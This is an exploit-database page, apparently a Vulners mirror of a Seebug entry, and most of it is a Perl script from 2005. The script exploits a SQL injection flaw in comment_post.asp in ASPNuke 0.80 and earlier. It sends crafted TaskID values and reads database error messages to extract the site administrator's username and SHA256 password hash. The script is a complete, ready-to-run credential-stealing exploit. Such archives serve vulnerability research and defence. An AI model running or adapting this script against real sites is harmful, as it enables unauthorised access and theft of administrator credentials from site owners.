Lucene search
K

ASPNuke <= 0.80 (comment_post.asp) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

ASPNUKE (comment_post.asp) SQL Injection Exploit for <= 0.80 versio

Code

                                                #!/usr/bin/perl -w
#
# SQL Injection Exploit for ASPNuke &#60;= 0.80
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print &#34;\n\t===============================\n&#34;;
print &#34;\t= Exploit for ASPNuke &#60;= 0.80 =\n&#34;;
print &#34;\t=     by Alberto Trivero      =\n&#34;;
print &#34;\t===============================\n\n&#34;;

if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
   print &#34;Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n&#34;;
   exit(0);
}

$page=get($ARGV[0].&#34;module/support/task/comment_post.asp?TaskID=Username&#34;) || die &#34;[-] Unable to retrieve: $!&#34;;
print &#34;[+] Connected to: $ARGV[0]\n&#34;;
$page=~m/the varchar value &#39;(.*?)&#39; to a column/ && print &#34;[+] Username of admin is: $1\n&#34;;
print &#34;[-] Unable to retrieve Username\n&#34; if(!$1);
$page=get($ARGV[0].&#34;module/support/task/comment_post.asp?TaskID=Password&#34;) || die &#34;[-] Unable to retrieve: $!&#34;;
$page=~m/the varchar value &#39;(.*?)&#39; to a column/ && print &#34;[+] SHA256 hash of password is: $1\n&#34;;
print &#34;[-] Unable to retrieve hash of password\n&#34; if(!$1);

# milw0rm.com [2005-06-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16